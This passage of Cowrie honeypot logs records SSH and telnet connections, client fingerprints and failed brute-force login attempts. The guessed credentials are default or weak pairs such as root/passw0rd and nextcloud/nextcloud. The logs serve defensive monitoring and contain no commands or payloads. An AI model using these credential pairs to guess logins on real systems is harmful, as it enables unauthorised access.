es192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:37.715279Z","src_ip":"176.65.132.129","session":"576ac4027754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:38.010753Z","src_ip":"176.65.132.129","session":"576ac4027754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:39.096381Z","src_ip":"176.65.132.129","session":"576ac4027754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":36127,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f8777e45de","protocol":"ssh","message":"New connection: 193.106.245.20:36127 (10.17.0.5:22) [session: 67f8777e45de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:39.968444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:39.973137Z","src_ip":"193.106.245.20","session":"67f8777e45de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:40.089326Z","src_ip":"193.106.245.20","session":"67f8777e45de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"asdf","message":"login attempt [hadoop/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:40.595436Z","src_ip":"193.106.245.20","session":"67f8777e45de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45442,"dst_ip":"159.203.135.109","dst_port":22,"session":"329f2c3cfc60","protocol":"ssh","message":"New connection: 176.65.132.129:45442 (159.203.135.109:22) [session: 329f2c3cfc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:41.035323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:41.039665Z","src_ip":"176.65.132.129","session":"329f2c3cfc60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:41.121627Z","src_ip":"176.65.132.129","session":"329f2c3cfc60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:41.367154Z","src_ip":"176.65.132.129","session":"329f2c3cfc60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:41.714379Z","src_ip":"193.106.245.20","session":"67f8777e45de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:42.452385Z","src_ip":"176.65.132.129","session":"329f2c3cfc60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45466,"dst_ip":"159.203.135.109","dst_port":22,"session":"579b31fe7ca7","protocol":"ssh","message":"New connection: 176.65.132.129:45466 (159.203.135.109:22) [session: 579b31fe7ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:44.384626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:44.389646Z","src_ip":"176.65.132.129","session":"579b31fe7ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:44.472238Z","src_ip":"176.65.132.129","session":"579b31fe7ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:44.718764Z","src_ip":"176.65.132.129","session":"579b31fe7ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:45.803576Z","src_ip":"176.65.132.129","session":"579b31fe7ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.9178204536438,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:47.060287Z","src_ip":"45.58.127.90","session":"5c629e98bdf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49150,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca349f17c99","protocol":"ssh","message":"New connection: 176.65.132.129:49150 (159.203.135.109:22) [session: 5ca349f17c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:47.897097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:47.901730Z","src_ip":"176.65.132.129","session":"5ca349f17c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:47.983632Z","src_ip":"176.65.132.129","session":"5ca349f17c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:48.229957Z","src_ip":"176.65.132.129","session":"5ca349f17c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:49.313655Z","src_ip":"176.65.132.129","session":"5ca349f17c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60458,"dst_ip":"10.17.0.5","dst_port":23,"session":"526bc7730aec","protocol":"telnet","message":"New connection: 45.58.127.90:60458 (10.17.0.5:23) [session: 526bc7730aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:49.378035Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49164,"dst_ip":"159.203.135.109","dst_port":22,"session":"35c5e438a6fa","protocol":"ssh","message":"New connection: 176.65.132.129:49164 (159.203.135.109:22) [session: 35c5e438a6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:51.283740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:51.287606Z","src_ip":"176.65.132.129","session":"35c5e438a6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:51.369906Z","src_ip":"176.65.132.129","session":"35c5e438a6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:51.620282Z","src_ip":"176.65.132.129","session":"35c5e438a6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:52.727320Z","src_ip":"176.65.132.129","session":"35c5e438a6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49170,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5e7cb3c603","protocol":"ssh","message":"New connection: 176.65.132.129:49170 (159.203.135.109:22) [session: 1b5e7cb3c603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:54.679765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:54.820793Z","src_ip":"176.65.132.129","session":"1b5e7cb3c603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:54.824497Z","src_ip":"176.65.132.129","session":"1b5e7cb3c603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:55.177888Z","src_ip":"176.65.132.129","session":"1b5e7cb3c603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:56.262046Z","src_ip":"176.65.132.129","session":"1b5e7cb3c603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58660,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c582af896e","protocol":"ssh","message":"New connection: 176.65.132.129:58660 (159.203.135.109:22) [session: 28c582af896e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:58.217848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:58.222486Z","src_ip":"176.65.132.129","session":"28c582af896e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:58.304329Z","src_ip":"176.65.132.129","session":"28c582af896e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:58.550612Z","src_ip":"176.65.132.129","session":"28c582af896e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:59.635149Z","src_ip":"176.65.132.129","session":"28c582af896e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58670,"dst_ip":"159.203.135.109","dst_port":22,"session":"b403b1a6a92b","protocol":"ssh","message":"New connection: 176.65.132.129:58670 (159.203.135.109:22) [session: b403b1a6a92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:01.510010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:01.519095Z","src_ip":"176.65.132.129","session":"b403b1a6a92b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:01.601811Z","src_ip":"176.65.132.129","session":"b403b1a6a92b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:01.850610Z","src_ip":"176.65.132.129","session":"b403b1a6a92b","protocol":"ssh"}
